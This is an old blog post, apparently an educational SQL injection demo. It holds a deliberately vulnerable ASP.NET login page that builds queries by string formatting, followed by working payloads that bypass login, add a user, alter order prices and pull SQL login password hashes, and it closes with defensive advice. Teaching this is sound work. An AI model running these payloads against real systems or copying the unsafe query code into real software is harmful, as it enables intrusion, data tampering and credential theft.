SQL Injection Demo

Wednesday, April 30, 2008

SQL injection seems to have faded from prominence lately and has become just a buzz word. To make things a little more real I put together a quick demo for it, to demonstrate that you don't necessarily have to go out of your way to make your web application exploitable.

Here are the ingredients for this demo:

ASP.NET application using System.Data.SqlClient to access a SQL database.
SQLExpress (or any other db) with some tool to directly author to the database.

CAUTION: This is a sample to demo SQLInjection and is hence insecure. Do not use this sample as the basis for a web application.

Setting up the Database

I used SQLExpress for my demo, but you can use whatever is available. Just be sure to update the connection string in your ASP.Net application.

Enable the sa account and gave it a password.
Connect to the database with this account to make sure it works. You can use SQL Server Management Studio Express (SSMSE) to do this.
Create a database called WebApp and create tables as follows.

Populate the tables with sample data.
Try running a few queries against through SSMSE to make sure things work, eg:

SELECT * FROM Users; SELECT * From Orders;

Setting up a Web Application on your Server

I used IIS 7.0 and ASP.NET 2.0, but you could use other tools as well.

Make sure IIS is running and that you can access the default page.
Under the same directory you can add the following ASP.NET page (SQLLoginUnsafe.aspx) and the code-behind file (SQLLoginUnsafe.aspx.cs)
Here is the sample ASP.NET page, SqlLoginUnsafe.aspx.

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="SQLLoginUnsafe.aspx.cs" 
    Inherits="SQLLoginUnsafe" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">
    <title>Untitled Page</title>
</head>

<body>
    <form id="form1" runat="server">
    <div>
    
        This is the Unsafe SQL Login Page.<br />
        <br />
        Username:</div>
    <asp:TextBox ID="TextBoxUsername" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Password:<br />
    <asp:TextBox ID="TextBoxPassword" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Result:<br />
    <asp:Label ID="LabelResult" runat="server" Text="-"></asp:Label>
    <br />
    <br />
    <asp:Button ID="ButtonLogin" runat="server" onclick="ButtonLogin_Click" 
        Text="Login" />
    <br />
    <br />
    <asp:Label ID="LabelData" runat="server" Text="Here is your Order history" 
        Visible="False"></asp:Label>
    <br />
    <br />
    <asp:GridView ID="GridView1" runat="server" Visible="False">
    </asp:GridView>
    <br />
    <asp:Button ID="ButtonLogout" runat="server" onclick="ButtonLogout_Click" 
        Text="Logout" Visible="False" />
    <br />
    <br />
    </form>
</body>
</html>

Here is the sample code-behind the ASP.Net page, SQLLoginUnsafe.aspx.cs.

/*
 * SQLLoginUnsafe.aspx.cs
 * Author: Nazim Lala
 * 
 */
using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Text;
using System.Data;
using System.Data.SqlClient;

public partial class SQLLoginUnsafe : System.Web.UI.Page
{
    private string _username;
    private string _password;
    private bool _loggedIn = false;

    private string _connString = 
        @"Data Source=.\SQLEXPRESS;"+
        "Initial Catalog=WebApp;"+
        "Integrated Security=True;";

    private SqlConnection _sqlConn = null;

    protected void ButtonLogin_Click(object sender, EventArgs e)
    {
        _username = Request["TextBoxUsername"];
        _password = Request["TextBoxPassword"];

        if (!IsNonEmptyCredentials())
        {
            LabelResult.Text = "ERROR: Cannot have empty credentials.";
            return;
        }

        if (AttemptSQLLogin())
        {
            // Login succeeded
            
            // Fill order data
            FillOrderData();

            EnableLoggedInVisuals();

        }
        else
        {
            DisableLoggedInVisuals();
        }

    }

    protected bool IsNonEmptyCredentials()
    {
        if (_username == null ||
             _username.Length == 0 ||
             _password == null ||
             _password.Length == 0)
        {
            return false;
        }
        else return true;
 
    }

    protected bool AttemptSQLLogin()
    {
        try
        {
            _sqlConn = new SqlConnection(_connString);
            _sqlConn.Open();
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to open SQL Connection: {0}", ex.Message);
            return false;
        }

        SqlDataReader dataReader = null;

        string SQLQuery = String.Format(
            "SELECT * FROM Users WHERE Username='{0}' AND Password='{1}'", 
            _username, _password);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.SingleResult);

            if (dataReader.HasRows)
            {
                LabelResult.Text = String.Format("Login success");
                dataReader.Close();
                _loggedIn = true;
                return true;
            }
            else
            {
                LabelResult.Text = String.Format(
                    "Login failed: Invalid credentials");
                dataReader.Close();
                return false;
            }

        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }

        //return true;
    }

    protected bool FillOrderData()
    {
        SqlDataReader dataReader = null;

        if (!_loggedIn)
        {
            LabelResult.Text = "No user logged it";
            return false;
        }

        string SQLQuery = String.Format(
            "SELECT Orders.OrderId, Orders.Amount, Orders.CreditCard "+
            "FROM Users, Orders WHERE Users.Username='{0}' "+
            "AND Users.UserId=Orders.UserId", _username);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.Default);

            GridView1.DataSource = dataReader;
            GridView1.DataBind();

            dataReader.Close();

            return true;
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }
    }

    protected void ButtonLogout_Click(object sender, EventArgs e)
    {
        LabelResult.Text = "Logged Out";
        _loggedIn = false;
        _username = "";
        _password = "";
        DisableLoggedInVisuals();
    }

    protected void EnableLoggedInVisuals()
    {
        ButtonLogin.Enabled = false;
        ButtonLogin.Visible = false;
        LabelData.Visible = true;
        GridView1.Enabled = true;
        GridView1.Visible = true;
        ButtonLogout.Enabled = true;
        ButtonLogout.Visible = true;
        
    }

    protected void DisableLoggedInVisuals()
    {
        ButtonLogin.Enabled = true;
        ButtonLogin.Visible = true;
        LabelData.Visible = false;
        GridView1.Enabled = false;
        GridView1.Visible = false;
        ButtonLogout.Enabled = false;
        ButtonLogout.Visible = false;
        
    }
}

Make sure you can access the website from your local machine.

Making the SQL Injection Requests

Now onto the fun part. Let's say we have a user 'Foo' with password 'foo' in our Users table for the purpose of this exercise.

Trying an invalid user/password.

Username: Unknown
Password: unknown

As expected we get a login failure.
Bypassing login for a known user. Let's say we know user 'Foo' exists.

Username: Foo'--
Password: junk

By using '--' for commenting out the rest of the conditions in the query we have been able to skip password validation for user 'Foo'
Bypassing login for unknown user. Let's say we don't know any user on the site.

Username: ' OR 1=1--
Password: junk

We used a tautology (1=1) to bypass all security checks. Notice that I know have the order information for *all* users.
Injecting a new user. Let's say I want to add a user 'Hijack' with password 'This'.

Username: ';INSERT INTO Users VALUES (100,'Hijack','This')--
Password: junk

But now using those credentials succeeds.
Changing price of all orders to 0.01

Username: ';UPDATE Orders Set Amount=0.01--
Password: junk

And using an earlier example to list all orders we see that all the prices have changed.
Injecting SQL users and password hashes into the Orders table and getting it to display

So this is a little tricky. sys.sql_logins table has the information of interest. But how do we go about displaying it.
The answer is simple, we inject all the information into the Orders table and get the query to display it.

Username: 'OR 1=1;INSERT INTO Orders (OrderId, UserId, Amount, CreditCard) SELECT principal_id+1000,principal_id+1000,principal_id*1.0,name FROM sys.sql_logins UNION SELECT principal_id+1000,principal_id+1000,principal_id*1.0,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins--
Password: junk

Now that we have user names and password hashes, you could use one of several external hash cracking tools to actually get to the password.

Conclusion

It is quite easy to see how quickly one can invade a system through the use of SQL injection. The million dollar question is "How do I protect myself "? The answer is, follow best practices.

Sanitize your input using both black lists and white lists.
Use parameterized SQL and NEVER use string concatenation to generate queries.
Protect your database resources wisely and use the notion of "least privilege" to access information.

Hope this helped in making SQL injection a more concrete issue to protect your applications against, rather than a buzz word.

I have had a couple of formatting issues with the code snippets. At a cursory glance they look all resolved, but if something is broken, do let me know.

naziml - Wednesday, April 30, 2008 10:48:00 PM

Excellent examples. Thanks for the post!

Mike Amundsen - Wednesday, April 30, 2008 10:59:28 PM

Would this lines be safe against sql injections?

protected void SomeSQLDataSource_Inserting(object sender, SqlDataSourceCommandEventArgs e)
{
e.Command.Parameters["@SomeGroupName"].Value = SomeGroupName.SelectedValue;
e.Command.Parameters["@SomeProdRadioButton"].Value = SomeProdRadioButton.SelectedValue;
e.Command.Parameters["@SomeProdDiv"].Value = SomeProdDiv.Text;
}

Thanks!

FooHoo - Thursday, June 5, 2008 3:10:55 PM

I used SQLExpress for my demo, but you can use whatever is available. Just be sure to update the connection string in your ASP.Net application.

Oyun - Thursday, February 5, 2009 9:58:30 PM

Setting up the Database

Setting up a Web Application on your Server

Making the SQL Injection Requests

Conclusion

4 Comments